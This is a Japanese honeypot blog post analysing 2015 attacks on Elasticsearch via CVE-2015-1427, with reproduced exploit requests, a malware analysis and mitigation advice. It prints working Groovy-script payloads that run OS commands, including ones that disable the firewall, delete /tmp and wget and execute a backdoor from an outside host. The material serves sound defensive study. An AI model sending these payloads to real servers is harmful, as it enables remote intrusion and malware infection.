www.morihi-soc.net

誰もが安心して使える、安全なインターネットを目指して

ハニーポット観察記録(24)

どうも.ハニーポッターの森久です.

私のオリジナルハニーポットで,Java の全文検索エンジンの Elasticsearch の脆弱性を狙った攻撃を検知しました.
攻撃の内容は,脆弱性の有無の調査からコマンド実行の試みや,マルウェア感染などです.

今年の4月ごろから何度か検知しており,最近検知件数が増加してきました.また3月には警察庁が Elasticsearch に関する注意喚起を発表しています(*1).
今回はハニーポットで検知した攻撃事例について,いくつか取り上げます.

はじめに

攻撃事例の紹介の前に,軽く Elasticsearch について説明します.Elasticsearch は Java で作られている全文検索・解析エンジンです.最近はログ収集と解析に利用するなど目にする機会が多くなってきており,Elasticsearch に関する勉強会も開かれているぐらいです.

Elasticsearch は JSON 形式の API を備えており,リモートから検索クエリを渡してその結果を受け取ったりすることができます.
また特に柔軟な操作を可能にするために Groovy scripting というものが利用できます.今回検知している攻撃が狙っている脆弱性は,この Groovy scripting を悪用し,リモートから細工した攻撃リクエストを送ることで Java のコードや OS コマンドが不正に実行されてしまうものです.

今回取り上げる攻撃の CVE 番号は CVE-2015-1427 です.Java の知見がある人だけに伝わる言い方にすると,リフレクションを悪用した攻撃です.怖い(*´・ω・)(・ω・`*)ネー

それでは攻撃事例について紹介していきます.

 

攻撃事例1(脆弱性の有無の調査)

まず1つ目の攻撃事例です.

POST /_search?pretty HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Host: *.*.*.*:9200
Accept: */*
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
 
{“script_fields”: {“myscript”: {“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”id\”).getText()”}}}

※一部の情報を意図的に伏せています.

この攻撃は 9200/tcp ポートに対して,POST メソッドで myscript という名前をつけた Java のコードを送ってきています.データ部分の「script」を読み解くと,OS コマンドである「id」を実行しようとしていることがわかります.

 

検証してみます.

ローカルのテスト環境に下記の脆弱なバージョンの Elasticsearch を導入してみました.

  • OS: Ubuntu 14.04.2 (64bit)
  • Java: OpenJDK Runtime Environment (IcedTea 2.5.5) (7u79-2.5.5-0ubuntu0.14.04.2)
  • Elasticsearch 1.4.2 (脆弱バージョン)

下記の図は,id コマンドを不正に実行する攻撃コードを送った結果をブラウザで表示させたものです.

Elasticsearch の脆弱環境で id コマンドを実行

Elasticsearch の脆弱環境で id コマンドを実行

確かに,Elasticsearch を実行しているユーザ(testuser)の id コマンドの実行結果が myscript に入っています.脆弱バージョンでは攻撃の通り,リモートからコマンド実行できることがわかりました.

この攻撃は id コマンドを表示させるだけにとどまっているため,脆弱性有無の調査と考えられます.

 

攻撃事例2(コマンドの実行)

次に脆弱性の有無の調査にとどまらない,より危険な攻撃について紹介します.なお攻撃事例1とは異なる送信元 IP アドレスからの攻撃です.

GET /_search?source={“query”: {“filtered”: {“query”: {“match_all”: {}}}}, “script_fields”: {“exp”: {“script”: “import java.util.*;import java.io.*;String str = \”\”;BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\”service iptables stop\”).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\”\r\n\”);}sb.toString();”}}, “size”: 1} HTTP/1.1Host: *.*.*.*:9200Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.4.1 CPython/2.7.8 Windows/2003Server

※一部の情報を意図的に伏せています.

この攻撃は GET メソッドでやってきました.Java のコードについては詳細に説明しませんが,重要なポイントは Runtime の getRuntime メソッドで実行を試みている部分です.

この攻撃コードでは「service iptables stop」の実行を試みています.つまりファイアウォールを無効化しようと狙ったものです.

なぜ攻撃者はファイアウォールの無効化をしようとしたのでしょうか? 実はこの攻撃は単発で終わらずに,続きがあります.

 

攻撃事例3(コマンドの実行とマルウェア感染)

攻撃事例2と同じ送信元 IP アドレスから,さらに複数の攻撃を検知しています.以下では簡略化のため URL のみ記載します.なおすべて 9200/tcp ポートに対する通信です.

“GET /_search?source={“query”: {“filtered”: {“query”: {“match_all”: {}}}}, “script_fields”: {“exp”: {“script”: “import java.util.*;import java.io.*;String str = \”\”;BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\”rm -r /tmp/*\”).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\”\r\n\”);}sb.toString();”}}, “size”: 1} HTTP/1.1″
 
“GET /_search?source={“query”: {“filtered”: {“query”: {“match_all”: {}}}}, “script_fields”: {“exp”: {“script”: “import java.util.*;import java.io.*;String str = \”\”;BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\”wget -O /tmp/bat http://*.*.*.*:7878/bat\”).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\”\r\n\”);}sb.toString();”}}, “size”: 1} HTTP/1.1″
 
“GET /_search?source={“query”: {“filtered”: {“query”: {“match_all”: {}}}}, “script_fields”: {“exp”: {“script”: “import java.util.*;import java.io.*;String str = \”\”;BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\”chmod 777 /tmp/bat\”).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\”\r\n\”);}sb.toString();”}}, “size”: 1} HTTP/1.1″
 
“GET /_search?source={“query”: {“filtered”: {“query”: {“match_all”: {}}}}, “script_fields”: {“exp”: {“script”: “import java.util.*;import java.io.*;String str = \”\”;BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\”nohup /tmp/bat > /dev/null 2>&1\”).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\”\r\n\”);}sb.toString();”}}, “size”: 1} HTTP/1.1″

※一部の情報を意図的に伏せています.

攻撃事例2と3を合わせた攻撃の流れは次のとおりです.

  1. ファイアウォールを無効化する
  2. /tmp/ ディレクトリ以下のファイルをすべて削除する
  3. wget コマンドを利用して,外部ホストから bat という名前のファイルを /tmp/ ディレクトリにダウンロードする
  4. bat という名前のファイルの権限を 777 に設定する
  5. bat という名前のファイルを nohup コマンド経由で実行する

どうやら攻撃者の真の目的は,外部からダウンロードしてくるファイルの実行のようです.

bat という名前のファイルがどのような動作をするのか気になってきました.解析しましょう.deep dive!

 

マルウェア解析

攻撃事例3でダウンロードしてくる bat という名前のファイルを入手したので解析してみます.

sha1: 76a11e762e4af48918720c385092165e6f888aba

 

VirusTotal の解析結果は次の通りです.
https://www.virustotal.com/ja/file/0cf142c28de388329762af757be6fba6ae0a91bafd57537c8ba40d02c17a83be/analysis/1431735631/

マルウェアとして検出するソフトが7つと少ないですね.ちょっとバイナリを見てみましょう.

バイナリエディタで bat という名前のファイルを開いてみた

バイナリエディタで bat という名前のファイルを開いてみた

なんだか UPX でパックされている気がします.upx コマンドで確認してみます.

upx コマンドで bat という名前のファイルを確認

upx コマンドで bat という名前のファイルを確認

やはり UPX でパックされているようです.これをアンパックして,再度 VirusTotal で解析した結果は次の通りです.
https://www.virustotal.com/ja/file/02cea81ad474031fce723ab784fe592d75390460d89e9829c49a28d23c9c823c/analysis/1431737618/

マルウェアとしての検出件数が28件になりました.Linux 環境に感染するバックドアの確度が高くなってきました.

 

さてここまできたら次は,もう動かすしかないですね.つまり動的解析です!

リアリティを出すために,攻撃事例1で準備したテスト環境(以下,感染端末と呼ぶ)に bat という名前のファイルをコピーして実行してみます.(専用の解析環境をお持ちでない人は真似しないでね)

感染端末で bat という名前のファイルを実行すると xuyiwz.{BLOCKED}.net というドメインに対して,7879/tcp ポートで次のようなデータ通信が発生しました.

7878/tcp 宛の不審な通信のパケットキャプチャ

7878/tcp 宛の不審な通信のパケットキャプチャ

あきらかに感染端末の環境情報(カーネルバージョン)を送信しています.不審な通信ですね.またこのように外部に対して通信をするために,攻撃事例2でファイアウォールの無効化を試みていたものと考えられます.

また感染端末において,下記のファイルが作成されることを確認しました.

  • bat という名前のファイルを実行したディレクトリと同じ場所に「conf.n」というテキストファイル
  • /tmp/ ディレクトリに「gates.lock」というテキストファイル
  • /usr/bin/ ディレクトリに「.sshd」というバイナリファイル

なお「.sshd」というバイナリファイルは bat という名前のファイルのコピーと見受けられ,同じ sha1 ハッシュ値を持つことを確認しています.

動作プロセスは「bat」と「.sshd」の2つが同時に動作していました.

実行プロセス(batと.sshdの2つがある)

実行プロセス(batと.sshdの2つがある)

以上より,bat という名前のファイルは外部のドメインに対して不審な通信を発生させ,なおかつ自身の複製を含む,ファイルの作成をするという動作をすることがわかりました.

また解説は省略しますが,大量の通信を発生させる DoS 攻撃をするためのコードと見受けられる部分があったので,実際に感染した場合は上記以外の通信が発生することが予想されます.

 

まとめ

今回は Elasticsearch の脆弱性を狙ったコマンド実行攻撃の事例紹介をしました.またコマンド実行の結果,感染するマルウェアについて解析をしました.

この脆弱性に対する根本的な対策は脆弱性解消バージョンの Elasticsearch を使用することです.

今回の攻撃の影響を受けるバージョンは「1.4.2以下」(*3)です.可能な限り最新版を利用するか,1.4.3以上のバージョンを利用することを推奨します.

 

またハニーポットでの検知内容から,下記の対策をすることで攻撃を受けた際の影響を軽減させることができると考えられます.

  • Elasticsearch のポートを 9200/tcp ではないポートで利用する.(ハニーポットでは9200/tcp でのみ攻撃を検知していました)
  • Elasticsearch のプロセスを実行するユーザ権限を最小化する.少なくとも root で実行しない.
  • WAF(Web Application Firewall)や IPS を利用して攻撃を遮断する.
  • 定期的に Web サーバ内部のファイルやプロセスのウイルススキャンを実施する.

以上です.

参考情報

*1 Elasticsearchの脆弱性を標的としたアクセスの観測について(警察庁)
http://www.npa.go.jp/cyberpolice/detect/pdf/20150316.pdf

*2 Elasticsearch の Groovy スクリプトエンジンにおけるサンドボックス保護メカニズムを回避される脆弱性(JVN)
http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-001538.html

*3 Elasticsearch 1.4.3 and 1.3.8 Released (公式サイト)
https://www.elastic.co/blog/elasticsearch-1-4-3-and-1-3-8-released

Remote Code Execution in Elasticsearch – CVE-2015-1427
http://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/

THREAT ADVISORY(CVE-2015-1427)
https://www.secdata.com/wp-content/uploads/2015/03/SecureData-Report-20150312-CVE-2015-1427-ES.pdf

 

おまけ

ハニーポットにて収集した,今回の脆弱性を狙いダウンロードされるマルウェア検体の一覧

  • sha1 ファイル名
  • ecc210ae044c0c2626c84eb4b1e0e3c805307ef4  32
  • b9d4bde6f5ba1440b296973f6769d332737700c2  64
  • f7b229a46b817776d9d2c1052a4ece2cb8970382  Aqks
  • fd4663acb83e9a630e2abd847a933e2e08ec547a  Cmak_32
  • af0f54d1462dde05a06c60dd38a70e85d25c0688  admin
  • 86ac30cd5f28ba2a811aecc08bff13193f8a0f73  admin1
  • 76a11e762e4af48918720c385092165e6f888aba  bat
  • 641a1eaeb67ebfff3dfef3f16d76f82fd36ad946  bat.unpacked
  • f43788fc2d1332631214392580a79a158755f169  bbbs
  • 27c93e8e63d84bae8b22f20e02c7acd3ddef7305  dao
  • cf64a72a9d0c9a1fb3acf8e08aa0bdcfc19c15a4  ruvn
  • 9cf41e71caf47526e095aa576c893d81a7437207  sas
  • b561c42a10079cdafb961c82b2adce4f423f796e  sos
  • 7b5ec2c9fa408a2309b93ad4ab9581616d706c62  sshd
  • cf64a72a9d0c9a1fb3acf8e08aa0bdcfc19c15a4  tooles.1
  • 8526567ac23877ccb0ec2de85ce269e50e91e994  tooles.2
  • acb3a0014a41c7002507281fa203051c2bfd6df7  trustr
  • bd26812258f51c66871aa57a2384fcbfecdc50ea  ud8006
  • bd273b4aa47546d108119a45212bb96bbb216eb1  wocao
  • 4fd841de53c4d1295c6e491ee66b39641ac48435  xiao

 

Written by 森久

5月 16th, 2015 at 1:03 pm